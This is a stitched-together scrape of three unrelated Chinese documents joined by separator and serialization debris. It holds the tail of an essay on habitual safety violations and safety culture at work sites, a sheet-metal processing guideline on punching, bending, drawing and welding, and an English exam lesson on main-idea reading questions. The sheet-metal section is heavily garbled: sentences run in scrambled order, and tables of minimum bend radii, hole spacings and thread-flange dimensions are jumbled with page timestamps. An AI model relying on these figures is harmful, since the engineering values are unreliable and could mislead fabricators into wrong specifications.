(二)管理“盲点”导致习惯性违章现象屡禁不止。
@#@近年来,随着安全生产体制改革的深入,一些企业的组织机构、人员配置发生巨大的变化,在一定程度上,系统设备的安全管理得到加强,员工个人的安全管理却存在“盲点”。
@#@@#@ 对企业的管理者来说,杜绝违章的最大困难就是习惯性违章具有反复性,为什么习惯性违章现象总是死灰复燃、屡禁不止?
@#@原因就是管理制度和考核制度没有切中习惯性违章的要害。
@#@有些安全管理人员管理素质不高,严重忽视安全管理的重要性,认为长期良好的安全形势不会出问题,松懈了安全教育,以致安全管理层层衰减,层层粗化。
@#@有些安全管理人员在安全检查过程中,存在着不规范、不细致的现象,有时迫于人情,对应严格考核的违章行为“一放了之”,甚至导致对习惯性违章视而不见,埋下事故隐患。
@#@@#@ 二、习惯性违章的特性@#@ 习惯性违章能够长期在施工作业现场蔓延滋生,原因就是它具有顽固性、潜在性、感染性、排他性等特性,这些特性的存在决定了这一危害安全的恶习难以根除。
@#@@#@ 习惯性违章具有顽固性。
@#@习惯性违章是由一定的心理支配的,是一种习惯的动作方式,因而它具有一定的顽固性、多发性特点。
@#@支配习惯性违章行为的心理不改变,习惯性违章动作不纠正,习惯性违章行为就会反复发作,直到行为人受到伤害或者受到处罚时,才会引起足够的重视。
@#@@#@ 习惯性违章具有潜在性。
@#@一些习惯性违章行为往往是习惯成自然的结果。
@#@例如:
@#@工作现场围栏上的“禁止跨越”、“正在作业”等标识视而不见,不以为然,长期违章作业,一旦出了事故才追悔莫及。
@#@@#@ 习惯性违章具有感染性。
@#@一些员工的不良习惯行为,不仅对本人的安全生产有影响,同时对其周边的员工也有影响。
@#@如施工现场习惯性违章搭接试验电源,在很多工作现场屡见不鲜。
@#@如果遇见这种现象不及时制止,其他员工很容易效仿,甚至一些新进人员误认为该操作方式正确,也盲目跟着学,根本不知道自己正处于危险的边缘。
@#@@#@ 习惯性违章具有排他性。
@#@有些习惯性违章严重的员工,对安全规程根本学不进去也不遵守,总认为自己的习惯方式“管用”,而安全规程是可有可无的东西,其结果必然是严重妨碍安全规程、安全制度的贯彻执行,严重危急安全生产。
@#@@#@ @#@ @#@ @#@三、习惯性违章的对策@#@ 习惯性违章是企业安全生产最险恶的敌人,我们应该针对它的特性制定防范措施。
@#@营造企业安全文化、加强现场安全监管以及提升员工技能等三个方面杜绝违章。
@#@@#@ 营造良好的安全氛围。
@#@据调查显示,习惯性违章的引起,其实在很大程度是源于人的思想认识和重视与否上,只有在平常的工作、生活中都树立一种安全理念,增强防范事故能力,才能真正做到事故与你无缘。
@#@与此同时,我们应该以“关爱生命,远离违章”的企业安全文化建设为主题,力求通过形式多样的安全文化建设,在企业内部形成一种的良好企业安全文化氛围,实现安全管理与文化的有效融合,使安全管理在文化中创新,以减少事故的发生。
@#@同时,力图营造遵章比违章更容易的环境,从人性化的角度为员工营造主动遵章的环境,让习惯性遵章变得更为容易的问题。
@#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@ @#@@#@ @#@ 加强现场安全的监管。
@#@强化生产一线的安全监督工作,是阻止习惯性违章事故发生的一道重要的外界防线。
@#@各级管理人员深入基层,敢抓敢管,落实领导到位制度,推行安全员走动式管理和工作日记公示制度、安全生产抽查制度和安全生产分析会制度。
@#@通过突击抽查真实了解安全生产实况,及时分析总结安全生产规律,重点解决共性问题。
@#@@#@ 提升一线员工的业务技能。
@#@安全生产首先要保证人身安全,而员工的技术素质又是做好安全工作的保证。
@#@只有人的业务技能在控,安全工作才能可控,以人为本才能落到实处。
@#@历来在员工中树立培训是最大福利的观念,注重对员工职业素养的培养,通过突击抽考、演习、竞赛等方式让有关人员真正掌握国家《安全生产法》、公司《安全工作规定》等。
@#@与此同时,举办系列培训班,不遗余力地为员工讲授业务技能。
@#@通过这一系列的培训,从根本上改善临时工、新进人员技能不熟悉导致失误的现象。
@#@@#@习惯性违章根本上是由自身思想根源引起的,但有句老话说得好:
@#@“善鉴人过以自警”。
@#@善鉴人过,进而增强忧患意识,防患于未然,乃明智之举。
@#@从已经发生的事故中汲取教训,做好自身防范工作,把安全生产各项法规制度落到实处,采取有力措施,把事故消灭在萌芽状态,才是彻底杜绝习惯性违章的有效之举。
@#@@#@安全生产文化与安全生产要求@#@一、安全的含义@#@从字面理解,无危则安、无损则全,学术界把安全定义为消除能导致人员伤害、疾病或死亡,引起设备或财产破坏和损失,危害环境的条件。
@#@人们通常用无事故来定义安全,事故就是发生了人们主观上不愿意发生的事件,从而导致人员伤亡、健康损失、设备损坏、环境和商业机会损失。
@#@@#@由此可见,安全的外延非常的广泛,广义上可以包括政治的安全、经济的安全、生活的安全和生产的安全等方面,其中生活安全又包括起居、交通等安全问题,生产安全又包括机械安全、电气安全等生产领域可能涉及的安全问题。
@#@生产的安全又可以分为产品的安全和作业的安全,例如在施工的过程中由于操作不当而导致架桥机倾覆即为作业安全问题,如因架桥机的设计或制造的原因而致倾覆即为产品安全问题,但有时产品的安全和作业的安全是难以准确界定的。
@#@@#@本书将仅就施工生产安全问题进行探讨,即狭义的安全问题。
@#@@#@二、安全问题的提出@#@安全问题可以说是与人类同时产生的,在原始社会,古人类要与恶劣的自然条件相抗争,以获得生存,这既是原始的安全问题。
@#@随着社会的发展,人类逐渐开始学会使用较为复杂的工具,这就使威胁人类生命和健康的因素由单纯的来自自然界转化为来自从事生产活动时人与工具之间了。
@#@也就是说自从人类诞生以来就受到各种危险的威胁,尤其是进入现代社会以后,工业灾害、自然灾害随时都在威胁着人类的安全和健康,安全问题也就越来越被人类所重视。
@#@@#@三、安全文化@#@ 一个单位的安全文化是个人和集体的价值观、态度、能力和行为方式的综合产物。
@#@因此,安全文化和企业文化同样都是凝聚人心的无形资产和精神力量、企业实现可持续发展的灵魂和推动力,是员工精神、素质等方面的综合表现,是企业管理的基础和发展之宝。
@#@安全文化把服从管理的“要我安全”转变成自主管理的“我要安全”,从而提升安全工作的境界。
@#@@#@ 传统的安全管理是一种被动型、经验型的作业驱动型管理,而纳入经营战略的安全文化建设是一种创新的效益型、系统型的项目驱动型管理,通过教育、宣传、奖惩、创建群体氛围等手段,安全文化能弥补安全管理的不足,因此,安全文化应当受到高度重视。
@#@@#@ 企业安全文化是企业在长期安全生产经营活动中形成的。
@#@它是以人为本,保护人的身心健康,尊重人的生命,实现人的安全价值的文化,是企业安全形象的重要标志,是凝聚员工的强力磁石和树立企业安全精神的动力。
@#@@#@ 安全文化所要解决的问题,就是形成最大限度的保证工作(劳动)效率和安全系数在临界点以内稳定状态的共识,也就是在尽量避免人身和非人身事故发生的过程中,形成共同的价值取向和行为准则。
@#@对于一个企业来讲,任何避免人身和非人身事故的政策、制度、机制、措施和方式方法,得到全体员工的认同,就是企业安全文化的目的和作用发挥的落脚点。
@#@基于此种认识,要发挥好安全文化的作用,就要首先了解事故发生的根源。
@#@一般而言,事故发生原因主要有两种:
@#@一种是人为原因(非物原因),另一种是纯物的原因,人为原因大家比较好理解,对于纯物原因(即纯粹由于非人的意志为转移的原因,例如:
@#@地震、海啸等自然灾害)可能比较陌生。
@#@为什么讲是纯物原因呢?
@#@因为在企业生产中,事故大多是人为原因造成的,一般概念的物的原因也大多与人的行为有直接或间接联系,而纯物的原因在企业事故中的比例相当少,除了不可预见的自然灾害外几乎没有(实际上,随着科学技术的不断发展,不可预见的自然灾害也逐渐被人所预见,只是由于科技水平或资金投入等问题而导致预见的准确度高低不同罢了)。
@#@因此,在企业生产过程中,抓住了“人”的问题,安全工作也就迎刃而解,而安全文化正是解决这个问题的重要保证。
@#@明确了事故根源和解决这个根源的途径,也就明确了安全文化在企业生产中的作用。
@#@@#@安全生产要求:
@#@@#@
(1)进入现场戴好安全帽,扣好帽带,并正确使用个人劳保用品。
@#@@#@
(2)2m以上的高空、悬空作业要有安全措施。
@#@@#@(3)高空作业的要点是防止坠落和砸伤。
@#@@#@(4)电动机械设备,有可靠安全接地和防护装置。
@#@@#@(5)非本工种人员严禁使用机电设备。
@#@@#@(6)非操作人员严禁进入吊装区域,吊装机械必须完好,桅杆垂直下方不准站人。
@#@@#@(7)遵守现场消防、保卫制度。
@#@@#@(8)上班前不得酗酒。
@#@@#@ @#@@#@会@#@签@#@栏@#@参加人员@#@项目部@#@施工班组@#@复核人:
@#@记录人:
@#@年月日@#@ @#@@#@";i:
41;s:
12797:
"钣金加工工艺要点@#@@#@钣金加工工艺@#@1简介@#@1.1简介@#@按钣金件的基本加工方式,如下料、折弯、拉伸、成型、焊接。
@#@本规范阐述每一种加工方式所要注意的工艺要求。
@#@@#@1.2关键词@#@钣金、下料、折弯、拉伸、成形、排样、最小弯曲半径、毛边、回弹、打死边、焊接@#@2下料@#@下料根据加工方式的不同,可分为普冲、数冲、剪床开料、激光切割、风割,由于加工方法的不同,下料的加工工艺性也有所不同。
@#@钣金下料方式主要为数冲和激光切割@#@2.1数冲是用数控冲床加工,板材厚度加工范围为冷扎板、热扎板小于或等于3.0mm,铝板小于或等于4.0mm,不锈钢小于或等于2.0mm@#@2.2冲孔有最小尺寸要求@#@冲孔最小尺寸与孔的形状、材料机械性能和材料厚度有关。
@#@@#@@#@@#@图2.2.1冲孔形状示例@#@材料@#@圆孔直径b@#@矩形孔短边宽b@#@1@#@2019-06-24,17:
@#@58:
@#@20.@#@@#@高碳钢@#@1.3t@#@1.0t@#@低碳钢、黄铜@#@1.0t@#@0.7t@#@铝@#@0.8t@#@0.5t@#@1mm。
@#@*t为材料厚度,冲孔最小尺寸一般不小于。
@#@7章附录A*高碳钢、低碳钢对应的公司常用材料牌号列表见第冲孔最小尺寸列表1表数冲的孔间距与孔边距2.3@#@零件的冲孔边缘离外形的最小距离随零件与孔的形状不同有一定的。
@#@当冲孔边缘与零件外形边缘不平行时,该最小距离应不限制,见图2.3.1。
@#@1.5t小于材料厚度t;@#@平行时,应不小于@#@(图1.4)冲裁件孔边距、孔间距示意图图2.3.1@#@2.4折弯件及拉深件冲孔时,其孔壁与直壁之间应保持一定的距离(图其孔壁与工件直壁之间应保持一定的距离折弯件或拉深件冲孔时,2.4.1)@#@@#@2@#@2019-06-24,17:
@#@58:
@#@20.@#@@#@图2.4.1折弯件、拉伸件孔壁与工件直壁间的距离@#@2.5螺钉、螺栓的过孔和沉头座@#@螺钉、螺栓过孔和沉头座的结构尺寸按下表选取取。
@#@对于沉头螺钉的沉头座,如果板材太薄难以同时保证过孔d2和沉孔D,应优先保证过孔d2。
@#@@#@@#@@#@@#@用于螺钉、螺栓的过孔2表@#@@#@@#@*要求钣材厚度t≥h。
@#@@#@用于沉头螺钉的沉头座及过孔表3@#@@#@*要求钣材厚度t≥h。
@#@@#@用于沉头铆钉的沉头座及过孔4表2.6激光切割是用激光机飞行切割加工,板材厚度加工范围为冷扎板热扎板小于或等于20.0mm,不锈钢小于10.0mm。
@#@其优点是加工板材厚度大,切割工件外形速度快,加工灵活.缺点是无法加工成形,网孔件不宜用此方式加工,加工成本高!
@#@@#@3@#@2019-06-24,17:
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@#@20.@#@@#@3折弯@#@3.1折弯件的最小弯曲半径@#@材料弯曲时,其圆角区上,外层收到拉伸,内层则受到压缩。
@#@当材料厚度一定时,内r越小,材料的拉伸和压缩就越严重;@#@当外层圆角的拉伸应力超过材料的极限强度时,就会产生裂缝和折断,因此,弯曲零件的结构设计,应避免过小的弯曲圆角半径。
@#@公司常用材料的最小弯曲半径见下表。
@#@@#@序号如果设计需要弯曲件的直边高度好后再加工到需要尺寸;@#@或者在弯曲变形区内加工浅槽后,再折弯(如下图所示)。
@#@@#@材料,则首先要加大弯边高度,h≤2t,@#@最小弯曲半径@#@1@#@0Cr18Ni9、DX2、SPCC、E1-T52、、10F08、08F、10、T2、、1100-H241Cr18Ni9、1Cr18Ni9Ti@#@0.4t@#@2@#@15FQ235、、Q235A、15、20@#@0.5t@#@3@#@30、Q255@#@25、@#@0.6t@#@4@#@)1Cr13、H62(M、Y、Y2、冷轧@#@0.8t@#@5@#@5045、@#@1.0t@#@6@#@、6055@#@1.5t@#@7@#@、、1Cr17Ni7-Y1Cr17Ni765Mn、60SiMn、SUS302@#@0Cr18Ni91Cr17Ni7-DY、SUS301、、@#@2.0t@#@?
@#@,t是材料的壁厚。
@#@弯曲半径是指弯曲件的内侧半径硬状态。
@#@为硬状态,为退火状态,为材料壁厚,tMYY2为1/2?
@#@公司常用金属材料最小折弯半径列表表53.2弯曲件的直边高度@#@3.2.1一般情况下的最小直边高度要求@#@弯曲件的直边高度不宜太小,最小高度按(图4.2.1)要求:
@#@h>2t。
@#@@#@4@#@2019-06-24,17:
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@#@20.@#@@#@@#@t2>h(图1.10)4.2.1.1弯曲件的直边高度最小值图特殊要求的直边高度3.2.2弯@#@t2<h压槽特殊情况下的直边高度要求弯边侧边带有斜角的直边高度3.2.3@#@),侧面的最小高度为:
@#@当弯边侧边带有斜角的弯曲件时(图4.2.33mm@#@>)~4t(h=2局部弯曲某一段边缘时,为了防止尖角处应力集中产生弯裂,可将弯曲线移动一定距离,(图4.4.1.1a),4.4.1.1b),或冲工艺孔(图。
@#@注意图中的尺寸要求:
@#@槽宽k≥t;@#@槽深L≥t+R+k/2@#@以离开尺寸突变处@#@(图1.11)图@#@4.2.2.14.4.1.1c)。
@#@@#@@#@图1.12)4.2.3.1弯边侧边带有斜角的直边高度图3.3折弯件上的孔边距先冲孔后折弯,孔的位置应处于弯曲变形区外,避免弯曲时孔边距:
@#@孔会产生变形。
@#@孔壁至弯边的距离见表下表。
@#@5@#@2019-06-24,17:
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@#@20.@#@@#@@#@@#@折弯件上的孔边距6表3.4局部弯曲的工艺切口@#@3.4.1折弯件的弯曲线应避开尺寸突变的位置或开工艺(R;@#@@#@工艺孔@#@k@#@L@#@4.4.1.1图局部弯曲的设计处理方法(图1.13)6@#@2019-06-24,17:
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@#@20.@#@@#@3.4.2当孔位于折弯变形区内,所采取的切口形式@#@当孔在折弯变形区内时,采用的切口形式示例(图4.4.2.1)@#@弯曲线弯曲线图4.6.1死边的最小长度L@#@(图1.14)图4.4.2.1切口形式示例@#@3.5带斜边的折弯边应避开变形区@#@@#@@#@图4.5.1带斜边的折弯边应避开变形区@#@3.6打死边的设计要求@#@打死边的死边长度与材料的厚度有关。
@#@如下图所示,一般死边最小长度L≥3.5t+R。
@#@@#@其中t为材料壁厚,R为打死边前道工序(如下图右所示)的最小内折弯半径。
@#@@#@7@#@2019-06-24,17:
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@#@20.@#@@#@@#@@#@3.7设计时添加的工艺定位孔@#@为保证毛坯在模具中准确定位,防止弯曲时毛坯偏移而产生废品,应预先在设计时添加工艺定位孔,如下图所示。
@#@特别是多次弯曲成形的零件,均必须以工艺孔为定位基准,以减少累计误差,保证产品质量。
@#@@#@图4.7.1@#@3.8标注弯曲件相关尺寸时,要考虑工艺性@#@工艺孔@#@)(图多次折弯时添加的工艺定位孔@#@图4.8.1弯曲件标注示例@#@如上图所示所示,a)先冲孔后折弯,L尺寸精度容易保证,加工方(图1.19)便。
@#@b)和c)如果尺寸L精度要求高,则需要先折弯后加工孔,加工麻烦。
@#@@#@3.9弯曲件的回弹@#@影响回弹的因素很多,包括:
@#@材料的机械性能、壁厚、弯曲半径以及弯曲时的正压力等。
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@#@20.@#@@#@3.9.1折弯件的内圆角半径与板厚之比越大,回弹就越大。
@#@@#@3.9.2从设计上抑制回弹的方法示例@#@弯曲件的回弹,目前主要是由生产厂家在模具设计时,采取一定的措施进行规避。
@#@同时,从设计上改进某些结构促使回弹角简少如下图所示:
@#@在弯曲区压制加强筋,不仅可以提高工件的刚度,也有利于抑制回弹。
@#@@#@@#@图4.9.2.1设计上抑制回弹的方法示例@#@4拉伸@#@4.1拉伸件底部与直壁之间的圆角半径大小要求@#@如下图所示,拉伸件底部与直壁之间的圆角半径应大于板厚,即r≥1t。
@#@为了使拉伸进行得更顺利,一般取r1=(3~5)t,最大圆角半径应小于或等于板厚的8倍,即r1≤8t。
@#@@#@9@#@2019-06-24,17:
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@#@20.@#@@#@Dd@#@)(图5.1.1拉伸件圆角半径大小图拉伸件凸缘与壁之间的圆角半径4.2@#@,为了≥2t2倍,即r2拉伸件凸缘与壁之间的圆角半径应大于板厚的,最大凸缘半径应小于或等于板r2=(5~10)t使拉伸进行得更顺利,一般取)。
@#@(参见图5.1.1≤厚的8倍,即r28t圆形拉伸件的内腔直径4.3@#@,以便在拉伸时压板压紧不≥d+10t圆形拉伸件的内腔直径应取D@#@)致起皱。
@#@(参见图5.1.1矩形拉伸件相邻两壁间的圆角半径4.4@#@,为了减少拉伸次数≥3t矩形拉伸件相邻两壁间的圆角半径应取r3@#@H/5,以便一次拉出来。
@#@≥应尽可能取r3@#@10@#@2019-06-24,17:
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@#@20.@#@@#@@#@(图1.21)矩形拉伸件相邻两壁间的圆角半径5.4.1图圆形无凸缘拉伸件一次成形时,其高度与直径的尺寸关系要求4.5@#@即,之比应小于或等于0.4高度圆形无凸缘拉伸件一次成形时,H和直径d0.4,如下图所示。
@#@H/d≤@#@@#@圆形无凸缘拉伸件一次成形时,高度与直径的尺图5.5.1@#@寸关系拉伸件设计图纸上尺寸标注的注意事项4.6@#@使拉伸后的材料厚度发生变化。
@#@拉伸件由于各处所受应力大小各不相同,一般来说,底部中央保持原来的厚度,底部圆角处材料变薄,顶部靠近凸缘处材料变厚,矩形拉伸件四周圆角处材料变厚。
@#@拉伸件产品尺寸的标准方法4.6.1@#@对产品图上的尺寸应明确注明必须保证外部尺寸或在设计拉伸产品时,内部尺寸,不能同时标注内外尺寸。
@#@11@#@2019-06-24,17:
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@#@20.@#@@#@4.6.2拉伸件尺寸公差的标注方法@#@拉伸件凹凸圆弧的内半径以及一次成形的圆筒形拉伸件的高度尺寸公差为双面对称偏差,其偏差值为国标(GB)16级精度公差绝对值的一半,并冠以±@#@号。
@#@@#@5成形@#@5.1加强筋@#@在板状金属零件上压筋,有助于增加结构刚性,加强筋结构及其尺寸选择参见表6。
@#@@#@@#@@#@加强筋结构及尺寸选择表75.2打凸间距和凸边距的极限尺寸@#@打凸间距和凸边距的极限尺寸按下表选取。
@#@@#@12@#@2019-06-24,17:
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@#@20.@#@@#@@#@@#@打凸间距和凸边距的极限尺寸表85.3百叶窗@#@百叶窗通常用于各种罩壳或机壳上起通风散热作用,其成型方法是借凸模的一边刃口将材料切开,而凸模的其余部分将材料同时作拉伸变形,形成一边开口的起伏形状。
@#@@#@百叶窗的典型结构参见图6.3.1。
@#@@#@@#@(图1.25)13@#@2019-06-24,17:
@#@58:
@#@20.@#@@#@图6.3.1百叶窗的结构@#@百叶窗尺寸要求:
@#@a≥4t;@#@b≥6t;@#@h≤5t;@#@L≥24t;@#@r≥0.5t。
@#@@#@5.4孔翻边@#@孔翻边型式较多,本规范只关注要加工螺纹的内孔翻边,如图6.4.1所示。
@#@@#@图6.4.1@#@(图1.26)带螺纹孔的内孔翻边结构示意图@#@@#@螺纹@#@材料厚度t@#@翻边内孔D1@#@翻边外孔凸缘高度dh2@#@预冲孔直D径0@#@凸缘圆角半径R@#@M3@#@0.8@#@2.55@#@1.63.38@#@1.9@#@0.6@#@1@#@1.63.25@#@2.2@#@0.5@#@1.83.38@#@1.9@#@23.5@#@2@#@1.2@#@3.31.92@#@8@#@2@#@0.6@#@2.13.5@#@6@#@1.5@#@14@#@2019-06-24,17:
@#@58:
@#@20.@#@@#@1.5@#@3.5@#@2.4@#@1.7@#@0.75@#@M4@#@1@#@3.35@#@4.46@#@2@#@2.3@#@0.5@#@1.2@#@4.35@#@1.92@#@2.7@#@0.6@#@4.5@#@2.16@#@2.3@#@4.65@#@2.4@#@1.5@#@1.5@#@4.46@#@2.4@#@2.5@#@0.75@#@4.65@#@2.7@#@1.8@#@2@#@4.56@#@2.2@#@2.4@#@1@#@M5@#@1.2@#@4.25@#@5.6@#@2.4@#@3@#@0.6@#@1.5@#@5.46@#@2.4@#@2.5@#@0.75@#@5.6@#@2.7@#@3@#@5.75@#@3@#@2.5@#@2@#@5.53@#@3.2@#@2.4@#@1@#@5.75@#@3.6@#@2.7@#@15@#@2019-06-24,17:
@#@58:
@#@20.@#@@#@2.5@#@5.75@#@4@#@3.1@#@1.25@#@M6@#@1.5@#@5.1@#@7.0@#@3@#@3.6@#@0.75@#@2@#@6.7@#@3.2@#@4.2@#@1@#@7.0@#@3.6@#@3.6@#@7.3@#@4@#@2.5@#@2.5@#@7.0@#@4@#@2.8@#@1.25@#@7.3@#@4.5@#@3@#@3@#@7.0@#@4.8@#@3.4@#@1.5@#@带螺纹孔的内孔翻边尺寸参数表9焊接6@#@焊接方法的分类6.1@#@焊接方法主要有电弧焊、电渣焊、气焊、等离子弧焊、熔化焊、压力焊、钎焊,钣金产品焊接主要为电弧焊、气焊。
@#@电弧焊具有灵活、机动,适用性广泛,可进行全位置焊接;@#@所用设备6.2@#@简单、耐用性好、维护费用低等优点。
@#@但劳动强度大,质量不够稳定,决定于操作者水平。
@#@以上的碳钢、低合金钢、不锈钢和铜、铝等非铁合金适用焊接3mm@#@气焊火焰温度和性质可以调节,于弧焊热源比热影响区宽,热量不如6.3@#@电弧集中,生产率低应用于薄壁结构和小件的焊接,可焊钢,铸铁,铝,铜及其合金,硬@#@质合金等、@#@@#@16@#@2019-06-24,17:
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@#@20.@#@";i:
42;s:
12620:
"版二轮复习英语练酷版练习专题一习题讲评课五@#@主旨大意题增分点
(一)——文章大意@#@[典例] (2018·@#@全国卷Ⅰ阅读C节选)@#@Languageshavebeencomingandgoingforthousandsofyears,butinrecenttimestherehasbeenlesscomingandalotmoregoing.Whentheworldwasstillpopulatedbyhuntergatherers,small,tightlyknit(联系)groupsdevelopedtheirownpatternsofspeechindependentofeachother.Somelanguageexpertsbelievethat10,000yearsago,whentheworldhadjustfivetotenmillionpeople,theyspokeperhaps12,000languagesbetweenthem.@#@Soonafterwards,manyofthosepeoplestartedsettlingdowntobecomefarmers,andtheirlanguagestoobecamemoresettledandfewerinnumber.Inrecentcenturies,trade,industrialisation,thedevelopmentofthenationstateandthespreadofuniversalcompulsoryeducation,especiallyglobalisationandbettercommunicationsinthepastfewdecades,allhavecausedmanylanguagestodisappear,anddominantlanguagessuchasEnglish,SpanishandChineseareincreasinglytakingover.@#@Atpresent,theworldhasabout6,800languages.Thedistributionoftheselanguagesishugelyuneven.Thegeneralruleisthatmildzoneshaverelativelyfewlanguages,oftenspokenbymanypeople,whilehot,wetzoneshavelots,oftenspokenbysmallnumbers.Europehasonlyaround200languages;@#@theAmericasabout1,000;@#@Africa2,400;@#@andAsiaandthePacificperhaps3,200,ofwhichPapuaNewGuineaaloneaccountsforwellover800.Themediannumber(中位数)ofspeakersisamere6,000,whichmeansthathalftheworld’slanguagesarespokenbyfewerpeoplethanthat.@#@Alreadywellover400ofthetotalof6,800languagesareclosetoextinction(消亡),withonlyafewelderlyspeakersleft.Pick,atrandom,BusuuinCameroon(eightremainingspeakers),ChiapanecoinMexico(150),LipanApacheintheUnitedStates(twoorthree)orWadjiguinAustralia(one,withaquestionmark):
@#@noneoftheseseemstohavemuchchanceofsurvival.@#@31.Whatisthemainideaofthetext?
@#@@#@A.Newlanguageswillbecreated.@#@B.People’slifestylesarereflectedinlanguages.@#@C.Humandevelopmentresultsinfewerlanguages.@#@D.Geographydetermineslanguageevolution.@#@[解析] 选C 第一段说明语言已有几千年的历史,但有一些语言正在消失;@#@第二段说明随着人类社会的发展,语言变得更少;@#@第三段说明语言的分布是不均匀的;@#@第四段介绍了超过400种语言正面临消亡的威胁。
@#@整篇文章主要说明的是由于人类社会的发展导致了语言变得越来越少。
@#@故选C。
@#@@#@[干扰项分析] A项颠倒是非,文章介绍的是语言的减少而不是新语言的创造。
@#@B、D两项无中生有,文中没有提到人们的生活方式会反映到语言上,也没有提到地理决定语言的发展。
@#@@#@[增分技巧]@#@1.快速确定文章大意@#@
(1)归纳要点抓大意。
@#@适用于没有明显的主题句的文章或段落。
@#@@#@
(2)从段落中抓大意。
@#@适用于主题句位于文章或段落中间类型的文章。
@#@@#@(3)读首句抓大意。
@#@适用于主题句出现在开头的文章,如说明文、议论文、科技文献和新闻报道。
@#@@#@(4)读尾句抓大意。
@#@适用于主题句出现在段尾/篇尾的文章,是最常见的归纳法写作方式。
@#@@#@2.找主题句的5个小窍门@#@
(1)段落中出现表示转折的词语(如however,but,infact,onthecontrary,incontrast等)时,其后的句子很可能是主题句。
@#@@#@
(2)首段出现疑问句时,对该问题的回答很可能就是主题句。
@#@@#@(3)作者有意识地反复强调的观点,通常是主旨;@#@反复出现的词语,一般为体现文章主旨的关键词(主旨句常包含关键词)。
@#@@#@(4)首段出现具体例子或假设时,例子或假设后面的内容可能是主题句。
@#@@#@(5)表示总结或结论词语常有therefore,thus,inshort,conclude,conclusion等。
@#@@#@3.解题原则@#@文章大意题难度较大,属于区分度很高的选拔性题目。
@#@注意无论此类题目出现在什么位置都要作为最后一道题来做,因为只有通读全文后才能更好地把握文章主题,并且文章中其他题目的解答也会有助于对整篇文章主旨的理解。
@#@@#@训练目标
(一)@#@对点练——攻克失分短板@#@A(2018·@#@全国卷Ⅲ阅读B节选)@#@Citiesusuallyhaveagoodreasonforbeingwheretheyare,likeanearbyportorriver.Peoplesettleintheseplacesbecausetheyareeasytogettoandnaturallysuitedtocommunicationsandtrade.NewYorkCity,forexample,isnearalargeharbouratthemouthoftheHudsonRiver.Over300yearsitspopulationgrewgraduallyfrom800peopleto8million.Butnotallcitiesdevelopslowlyoveralongperiodoftime.Boomtownsgrowfromnothingalmostovernight.In1896,Dawson,Canada,wasunmappedwilderness(荒野).Butgoldwasdiscoveredtherein1897,andtwoyearslater,itwasoneofthelargestcitiesintheWest,withapopulationof30,000.@#@DawsondidnothaveanyofthenaturalconveniencesofcitieslikeLondonorParis.Peoplewentthereforgold.Theytravelledoversnowcoveredmountainsandsailedhundredsofmilesupicyrivers.ThepathtoDawsonwascoveredwiththirtyfeetofwetsnowthatcouldfallwithoutwarning.Anavalanche(雪崩)onceclosedthepath,killing63people.FormanywhomadeittoDawson,however,therewardswereworththedifficulttrip.Ofthefirst20,000peoplewhodugforgold,4,000gotrich.About100ofthesestayedrichmenfortherestoftheirlives.@#@Butnomatterhowrichtheywere,Dawsonwasnevercomfortable.Necessitieslikefoodandwoodwereveryexpensive.Butsoon,thegoldthatDawsondependedonhadallbeenfound.Thecitywascrowdedwithdisappointedpeoplewithnointerestinsettlingdown,andwhentheyheardtherewerenewgolddiscoveriesinAlaska,theyleftDawsonCityasquicklyastheyhadcome.Today,peoplestillcomeandgo—toseewheretheCanadiangoldrushhappened.TourismisnowthechiefindustryofDawsonCity—itspresentpopulationis762.@#@27.Whatisthetextmainlyabout?
@#@@#@A.Theriseandfallofacity.@#@B.ThegoldrushinCanada.@#@C.Journeysintothewilderness.@#@D.TourisminDawson.@#@解析:
@#@选A 第一段简要介绍了决定城市发展的因素,引出道森这一城市的兴起;@#@第二段介绍了该城市兴起的原因;@#@第三段介绍该城市的衰落及现在的状况,所以全文是围绕道森这个城市的发展兴衰展开的。
@#@故A项正确。
@#@@#@B(2017·@#@全国卷Ⅲ阅读C节选)@#@Afteryearsofheateddebate,graywolveswerereintroducedtoYellowstoneNationalPark.FourteenwolveswerecaughtinCanadaandtransportedtothepark.Bylastyear,theYellowstonewolfpopulationhadgrowntomorethan170wolves.@#@GraywolvesoncewereseenhereandthereintheYellowstoneareaandmuchofthecontinentalUnitedStates,buttheyweregraduallydisplacedbyhumandevelopment.Bythe1920s,wolveshadpracticallydisappearedfromtheYellowstonearea.TheywentfarthernorthintothedeepforestsofCanada,wheretherewerefewerhumansaround.@#@Thedisappearanceofthewolveshadmanyunexpectedresults.Deerandelkpopulations—majorfoodsources(来源)forthewolf—grewrapidly.Theseanimalsconsumedlargeamountsofvegetation(植被),whichreducedplantdiversityinthepark.Intheabsenceofwolves,coyotepopulationsalsogrewquickly.Thecoyoteskilledalargepercentageofthepark’sredfoxes,andcompletelydroveawaythepark’sbeavers.@#@Asearlyas1966,biologistsaskedthegovernmenttoconsiderreintroducingwolvestoYellowstonePark.Theyhopedthatwolveswouldbeabletocontroltheelkandcoyoteproblems.Manyfarmersopposedtheplanbecausetheyfearedthatwolveswouldkilltheirfarmanimalsorpets.@#@Thegovernmentspentnearly30yearscomingupwithaplantoreintroducethewolves.TheU.S.FishandWildlifeServicecarefullymonitorsandmanagesthewolfpacksinYellowstone.Today,thedebatecontinuesoverhowwellthegraywolfisfittinginatYellowstone.Elk,deer,andcoyotepopulationsaredown,whilebeaversandredfoxeshavemadeacomeback.TheYellowstonewolfprojecthasbeenavaluableexperimenttohelpbiologistsdecidewhethertoreintroducewolvestootherpartsofthecountryaswell.@#@28.Whatisthetextmainlyabout?
@#@@#@A.WildliferesearchintheUnitedStates.@#@B.PlantdiversityintheYellowstonearea.@#@C.Theconflictbetweenfarmersandgraywolves.@#@D.ThereintroductionofwolvestoYellowstonePark.@#@解析:
@#@选D 本文第一段点明在争议了几年之后,灰狼被重新引入黄石国家公园;@#@第二、三段叙述灰狼曾经随处可见,可后来由于人类的发展,该种群被渐渐驱离这里并引发了一系列生态问题;@#@第四、五段叙述生物学家建议重新引入灰狼,以及重新引入灰狼后的效果。
@#@由此归纳文章大意为:
@#@黄石国家公园里灰狼的消失导致了一系列生态问题,生物学家最终决定将灰狼重新引入黄石国家公园,从而改善了公园里的生态环境。
@#@故选D。
